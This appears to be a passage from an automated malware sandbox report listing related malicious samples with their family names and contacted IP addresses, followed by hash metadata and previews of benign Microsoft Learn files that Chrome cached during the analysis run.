	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 2.16.229.162
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	73cceb_de0cf39691b24825b9733575e081f7fa.rtf	Get hash	malicious	Unknown	Browse	104.21.16.9
	upgrade.hta	Get hash	malicious	DarkVision Rat	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	XWorm	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
